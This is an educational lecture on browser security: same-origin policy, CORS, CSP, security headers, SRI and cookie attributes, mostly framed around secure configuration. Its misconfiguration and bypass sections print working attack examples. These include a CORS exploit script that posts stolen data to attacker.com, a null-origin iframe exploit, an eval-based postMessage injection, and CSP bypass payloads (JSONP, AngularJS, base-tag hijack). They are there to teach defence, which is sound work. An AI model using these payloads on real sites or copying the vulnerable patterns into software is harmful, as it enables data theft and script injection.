Browser Security Features
Modern web browsers implement multiple security mechanisms to protect users from various attacks. Understanding these features is crucial for both developing secure web applications and performing security assessments. This lecture explores the most important browser security features and how they can be configured, bypassed, or exploited.
Same-Origin Policy (SOP)
The Same-Origin Policy (SOP) is the cornerstone of web security, preventing malicious scripts from one origin from accessing data from another origin. It's one of the oldest and most fundamental security mechanisms in web browsers.
What Defines an Origin?
An origin is determined by the combination of three components:
Protocol Scheme: The communication protocol (e.g.,
http,https)Host Name: The domain name or IP address (e.g.,
example.com)Port Number: The communication port (e.g.,
80for HTTP,443for HTTPS)
Two URLs have the same origin only if all three components are identical.
Example Origin Comparison:
Consider the base URL: http://normal-website.com/example/example.html
This uses scheme http, domain normal-website.com, and port 80.
URL accessed
Access permitted?
Reason
http://normal-website.com/example/
✅ Yes
Same scheme, domain, and port
http://normal-website.com/example2/
✅ Yes
Same scheme, domain, and port
https://normal-website.com/example/
❌ No
Different scheme and port
http://en.normal-website.com/example/
❌ No
Different domain (subdomain)
http://www.normal-website.com/example/
❌ No
Different domain (subdomain)
http://normal-website.com:8080/example/
❌ No
Different port
http://normal-website.com:80/example/
✅ Yes
Port 80 is default for HTTP
Note: Internet Explorer does NOT consider port number when applying SOP, making it less secure.
SOP Policy Details
What SOP Restricts:
Reading Responses: Scripts from one origin cannot read responses from another origin
Prevents malicious site from reading your Gmail
XMLHttpRequest/Fetch API blocked for cross-origin reads
Accessing DOM: Cannot access DOM of documents from different origin
Cannot read
iframecontent from different originCannot access
windowobject properties from other origin
Cookies: Cookies set by origin only sent to that origin
example.comcannot read cookies frombank.comPrevents cookie theft across domains
What SOP Allows:
Sending Requests: Can send requests to any origin
Response is opaque (cannot read)
Useful for analytics, CDNs
Embedding Resources: Can embed cross-origin resources
Images:
<img src="https://other-site.com/image.jpg">Scripts:
<script src="https://cdn.com/library.js"></script>Stylesheets:
<link rel="stylesheet" href="https://cdn.com/style.css">Fonts:
@font-facedeclarationsMedia:
<video>,<audio>tagsIframes:
<iframe>(but cannot access content)
Navigation: Can navigate to different origins
Links:
<a href="https://other-site.com">Form submissions:
<form action="https://other-site.com">window.location = "https://other-site.com"
SOP Implementation Details
Cross-Domain Object Access:
Some objects are writable but not readable cross-domain:
locationobjectlocation.hrefproperty from iframes or new windows
Some objects are readable but not writable cross-domain:
window.length(number of frames)window.closed(whether window is closed)
Allowed Cross-Domain Functions:
window.close()window.blur()window.focus()window.postMessage()(for secure cross-origin communication)location.replace()
SOP Relaxation Mechanisms
1. document.domain
Legacy mechanism to relax SOP for subdomains:
// On marketing.example.com
document.domain = "example.com";
// On example.com
document.domain = "example.com";
// Now both can access each other's DOMSecurity Implications:
Allows subdomain to access parent domain
Can be exploited if attacker controls any subdomain
Modern browsers restrict to valid suffixes
Deprecated in modern web security
Exploitation Example: If attacker compromises evil.example.com, they can set document.domain to example.com and access main site data.
2. postMessage API
Secure way for cross-origin communication:
Sender:
// From origin A
const targetWindow = window.open('https://other-origin.com');
targetWindow.postMessage('Hello!', 'https://other-origin.com');Receiver:
// On origin B
window.addEventListener('message', (event) => {
// CRITICAL: Always verify origin!
if (event.origin !== 'https://trusted-origin.com') {
return;
}
console.log('Received:', event.data);
// Send response
event.source.postMessage('Hello back!', event.origin);
});Security Best Practices:
Always validate
event.originValidate
event.datacontentUse specific target origin, not
*Be cautious with
event.source
Insecure postMessage Example:
// VULNERABLE CODE - Missing origin check
window.addEventListener('message', (event) => {
eval(event.data); // NEVER DO THIS!
});Attacker can exploit:
targetWindow.postMessage('alert(document.cookie)', '*');SOP and Cookies
Cookies follow a more relaxed policy than SOP:
Cookie Scope:
Can be set for entire domain and subdomains
Domain=.example.comincludes all subdomainsPath attribute controls URL path scope
Cookie Access Example:
// Set cookie on example.com
document.cookie = "session=abc123; Domain=.example.com; Path=/";
// Now accessible from:
// - example.com
// - www.example.com
// - api.example.com
// - Any subdomainSecurity Implications:
Subdomain can set cookies for parent domain
Subdomain compromise = full domain compromise
Use specific domains when possible
Mitigation:
Use
HttpOnlyflag (prevents JavaScript access)Use
Secureflag (HTTPS only)Use
SameSiteattributeDon't rely on subdomains for security isolation
Cross-Origin Resource Sharing (CORS)
CORS is a mechanism that allows servers to relax SOP for specific origins, enabling legitimate cross-origin requests while maintaining security.
How CORS Works
Simple Requests:
For simple requests (GET, HEAD, POST with simple headers), browser sends:
GET /api/data HTTP/1.1
Host: api.example.com
Origin: https://app.example.comServer responds with:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: truePreflight Requests:
For complex requests (PUT, DELETE, custom headers), browser sends OPTIONS preflight:
OPTIONS /api/data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: X-Custom-HeaderServer responds:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600If preflight succeeds, browser sends actual request.
CORS Headers
Response Headers:
Access-Control-Allow-Origin: Which origins can access*(wildcard - allows all, cannot use with credentials)https://specific-origin.comnull(dangerous, can be exploited)
Access-Control-Allow-Credentials: Allow cookies/authtrueor omitted (false)
Access-Control-Allow-Methods: Allowed HTTP methodsGET, POST, PUT, DELETE
Access-Control-Allow-Headers: Allowed custom headersContent-Type, Authorization, X-Custom-Header
Access-Control-Max-Age: Preflight cache duration3600(seconds)
Access-Control-Expose-Headers: Headers accessible to JavaScriptX-Custom-Response-Header
Request Headers:
Origin: Request origin (set by browser, cannot be modified)Access-Control-Request-Method: Method for actual requestAccess-Control-Request-Headers: Headers for actual request
CORS Misconfigurations
1. Wildcard with Credentials
Vulnerable Configuration:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: trueIssue: Browser rejects this! Cannot use wildcard with credentials.
Workaround Attempt (Still Vulnerable):
// Server reflects Origin header
const origin = req.headers.origin;
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');Exploitation:
<script>
fetch('https://vulnerable-api.com/sensitive-data', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Send stolen data to attacker
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>2. Null Origin
Vulnerable Configuration:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: trueExploitation: Attacker can create null origin using sandboxed iframe or data URI:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
fetch('https://vulnerable-api.com/data', {credentials: 'include'})
.then(r => r.text())
.then(data => {
parent.postMessage(data, '*');
});
</script>"></iframe>3. Insufficient Origin Validation
Vulnerable Pattern:
// Only checks if origin contains trusted domain
if (origin.includes('example.com')) {
res.setHeader('Access-Control-Allow-Origin', origin);
}Bypass:
https://example.com.attacker.com✅ Contains "example.com"https://attackerexample.com✅ Contains "example.com"
Secure Validation:
const allowedOrigins = [
'https://app.example.com',
'https://www.example.com'
];
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}4. Pre-Domain Wildcard
Vulnerable:
Access-Control-Allow-Origin: https://*.example.comBrowsers don't support wildcards in origin! Server must dynamically set origin.
CORS Security Best Practices
Whitelist Specific Origins: Don't reflect arbitrary origins
Avoid Null Origin: Never allow
nullProper Validation: Use exact matching, not substring checks
Minimize Credentials: Only use
Access-Control-Allow-Credentialswhen necessaryLimit Methods: Only allow required HTTP methods
Limit Headers: Only allow necessary custom headers
Cache Safely: Use appropriate
Max-Agefor preflight
Content Security Policy (CSP)
CSP is a powerful security feature that mitigates XSS and other code injection attacks by controlling which resources can be loaded and executed.
How CSP Works
Server sends CSP header specifying allowed resource sources:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'Browser enforces policy, blocking violations and optionally reporting them.
CSP Directives
Fetch Directives (Control resource loading):
default-src: Fallback for other directivesscript-src: JavaScript sourcesstyle-src: CSS sourcesimg-src: Image sourcesfont-src: Font sourcesconnect-src: XMLHttpRequest, WebSocket, fetch()media-src:<audio>,<video>sourcesobject-src:<object>,<embed>,<applet>frame-src:<iframe>sourcesworker-src: Worker, SharedWorker, ServiceWorkermanifest-src: Manifest sources
Document Directives:
base-uri: Restricts<base>element URLssandbox: Applies sandbox restrictions (like iframe sandbox)
Navigation Directives:
form-action: Restricts form submission targetsframe-ancestors: Restricts who can embed this page (replaces X-Frame-Options)
Reporting Directives:
report-uri: Deprecated, use report-toreport-to: Endpoint for violation reports
Other Directives:
upgrade-insecure-requests: Upgrades HTTP to HTTPSblock-all-mixed-content: Blocks mixed content
CSP Source Values
Keywords:
'none': Block all'self': Same origin'unsafe-inline': Allow inline scripts/styles (dangerous!)'unsafe-eval': Alloweval()(dangerous!)'unsafe-hashes': Allow specific inline event handlers'strict-dynamic': Trust dynamically added scripts'report-sample': Include code sample in violation report
Hosts:
https://example.com: Specific domainhttps://*.example.com: Subdomain wildcardhttps:: Any HTTPS sourcedata:: Data URIsblob:: Blob URIs
Nonces:
'nonce-random123': Cryptographic nonce for inline scripts
Hashes:
'sha256-base64hash': Hash of inline script/style
CSP Examples
Strict CSP (Recommended):
Content-Security-Policy:
default-src 'self';
script-src 'nonce-{random}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';Moderate CSP:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' https://cdn.example.com;
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';Report-Only Mode (Testing):**
Content-Security-Policy-Report-Only:
default-src 'self';
report-uri /csp-violation-report;CSP with Nonces
Server generates random nonce:
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy', `script-src 'nonce-${nonce}'`);HTML includes nonce:
<script nonce="random123">
// This script is allowed
alert('Hello!');
</script>
<script>
// This script is BLOCKED (no nonce)
alert('Evil!');
</script>CSP Bypasses
1. unsafe-inline
Vulnerable Policy:
Content-Security-Policy: script-src 'self' 'unsafe-inline';Any inline script works:
<script>alert(document.cookie)</script>
<img src=x onerror="alert(1)">2. unsafe-eval
Vulnerable Policy:
Content-Security-Policy: script-src 'self' 'unsafe-eval';Allows eval-like functions:
eval('alert(1)');
setTimeout('alert(1)', 0);
setInterval('alert(1)', 0);
Function('alert(1)')();3. JSONP Endpoints
Vulnerable Policy:
Content-Security-Policy: script-src 'self' https://trusted-site.com;If trusted-site.com has JSONP endpoint:
<script src="https://trusted-site.com/jsonp?callback=alert(1)"></script>4. AngularJS CDN
Vulnerable Policy:
Content-Security-Policy: script-src 'self' https://ajax.googleapis.com;Exploit using AngularJS:
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$eval.constructor('alert(1)')()}}
</div>5. base-uri Not Set
Vulnerable - No base-uri restriction:
<base href="https://attacker.com/">
<script src="/evil.js"></script>
<!-- Loads https://attacker.com/evil.js -->6. Wildcard Subdomains
Vulnerable Policy:
Content-Security-Policy: script-src 'self' https://*.example.com;If attacker compromises any subdomain or finds user-content subdomain:
<script src="https://user-content.example.com/attacker-file.js"></script>CSP Best Practices
Use Nonces or Hashes: Avoid
'unsafe-inline'Avoid 'unsafe-eval': Rewrite code to not use eval
Whitelist Carefully: Each whitelisted domain increases attack surface
Set base-uri:
base-uri 'none'orbase-uri 'self'Set object-src:
object-src 'none'(blocks Flash, Java)Use strict-dynamic: With nonces for better security
Set frame-ancestors: Prevent clickjacking
Test with Report-Only: Before enforcing
Monitor Reports: Track violations
Upgrade Insecure Requests: Use
upgrade-insecure-requests
Other Security Headers
X-Frame-Options
Prevents clickjacking by controlling iframe embedding.
Values:
X-Frame-Options: DENYCannot be embedded in any iframe.
X-Frame-Options: SAMEORIGINCan only be embedded on same origin.
X-Frame-Options: ALLOW-FROM https://trusted.comCan be embedded on specified origin (deprecated, not widely supported).
Modern Alternative: CSP frame-ancestors
Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors https://trusted.com;X-Content-Type-Options
Prevents MIME sniffing attacks.
X-Content-Type-Options: nosniffPurpose:
Prevents browser from interpreting files as different type
Forces browser to respect declared
Content-TypePrevents XSS via uploaded files
Without nosniff:
<!-- Upload HTML file as image -->
<img src="/uploads/malicious.jpg">
<!-- Browser might execute as HTML if it detects HTML content -->With nosniff: Browser strictly follows Content-Type header.
X-XSS-Protection
Legacy XSS filter (deprecated).
X-XSS-Protection: 1; mode=blockValues:
0: Disable filter1: Enable filter, sanitize1; mode=block: Enable filter, block page
Issue:
Can introduce vulnerabilities
Bypassed easily
Deprecated in favor of CSP
Recommendation:
X-XSS-Protection: 0Disable it, use CSP instead.
Strict-Transport-Security (HSTS)
Forces HTTPS usage.
Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadDirectives:
max-age: Duration in secondsincludeSubDomains: Apply to all subdomainspreload: Include in browser's preload list
Benefits:
Prevents SSL stripping attacks
Prevents accidental HTTP access
Improves SEO
Preload List: Submit to https://hstspreload.org/ for browser-level enforcement.
Referrer-Policy
Controls Referer header sent with requests.
Referrer-Policy: strict-origin-when-cross-originValues:
no-referrer: Never sendno-referrer-when-downgrade: Don't send on HTTPS→HTTPorigin: Send only originorigin-when-cross-origin: Full URL same-origin, origin cross-originsame-origin: Only send for same-originstrict-origin: Origin only, not on HTTPS→HTTPstrict-origin-when-cross-origin: Recommended defaultunsafe-url: Always send full URL (don't use!)
Permissions-Policy (Feature-Policy)
Controls which browser features can be used.
Permissions-Policy: geolocation=(), microphone=(), camera=(self)Features:
geolocation: Location APImicrophone: Microphone accesscamera: Camera accesspayment: Payment Request APIusb: WebUSB APIfullscreen: Fullscreen API
Values:
(): Blocked for all(self): Allowed for same origin(self "https://trusted.com"): Allowed for specific origins*: Allowed for all (not recommended)
Subresource Integrity (SRI)
Ensures third-party resources haven't been tampered with.
Usage:
<script src="https://cdn.example.com/library.js"
integrity="sha384-hash_value_here"
crossorigin="anonymous"></script>
<link rel="stylesheet" href="https://cdn.example.com/style.css"
integrity="sha384-hash_value_here"
crossorigin="anonymous">Generate Hash:
openssl dgst -sha384 -binary library.js | openssl base64 -ABrowser Behavior:
Downloads resource
Computes hash
Compares with
integrityattributeBlocks if mismatch
Benefits:
Protects against compromised CDNs
Detects tampering
Ensures resource authenticity
Requirements:
Must use
crossoriginattributeCORS headers must be configured
Hash must match exactly
Cookies Security Deep Dive
Cookie Attributes Security
Secure:
Set-Cookie: session=abc123; SecureOnly sent over HTTPS, never HTTP.
HttpOnly:
Set-Cookie: session=abc123; HttpOnlyNot accessible via JavaScript document.cookie.
SameSite:
Set-Cookie: session=abc123; SameSite=StrictStrict: Never sent on cross-site requestsLax: Sent on top-level GET navigationsNone: Always sent (requires Secure)
SameSite Comparison:
Link from external site
❌
✅
✅
Form POST from external
❌
❌
✅
AJAX from external
❌
❌
✅
Iframe from external
❌
❌
✅
Complete Secure Cookie:
Set-Cookie: session=abc123;
Secure;
HttpOnly;
SameSite=Strict;
Path=/;
Max-Age=3600Cookie Prefixes
__Secure- Prefix:
Set-Cookie: __Secure-session=abc123; Secure; Path=/Must have Secure attribute
Must be set over HTTPS
__Host- Prefix:
Set-Cookie: __Host-session=abc123; Secure; Path=/Must have Secure attribute
Must be set over HTTPS
Must NOT have Domain attribute
Path must be
/
Benefits:
Prevents subdomain override attacks
Ensures HTTPS-only
Stronger security guarantees
Key Takeaways
SOP is the foundation of web security, isolating origins
CORS relaxes SOP but must be configured carefully
CSP mitigates XSS through content restrictions
Security headers provide defense-in-depth
Cookie attributes are critical for session security
Each security feature has potential misconfigurations
Multiple layers of security are essential
Always validate inputs even with security features
Test security configurations thoroughly
Modern browsers provide powerful security mechanisms
Resources
Same-Origin Policy
MDN - Same-Origin Policy: https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
PortSwigger - SOP: https://portswigger.net/web-security/cors/same-origin-policy
CORS
PortSwigger - CORS: https://portswigger.net/web-security/cors
CORS Misconfigurations: https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
Content Security Policy
Google CSP Evaluator: https://csp-evaluator.withgoogle.com/
CSP Quick Reference: https://content-security-policy.com/
Security Headers
Security Headers Checker: https://securityheaders.com/
OWASP Secure Headers Project: https://owasp.org/www-project-secure-headers/
MDN - HTTP Security: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#security
Cookie Security
MDN - Cookies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
OWASP - Session Management: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
Tools
Burp Suite: Test security configurations
OWASP ZAP: Automated security testing
Browser DevTools: Inspect headers and cookies
CSP Evaluator: Validate CSP policies
SecurityHeaders.com: Check security header implementation
Last updated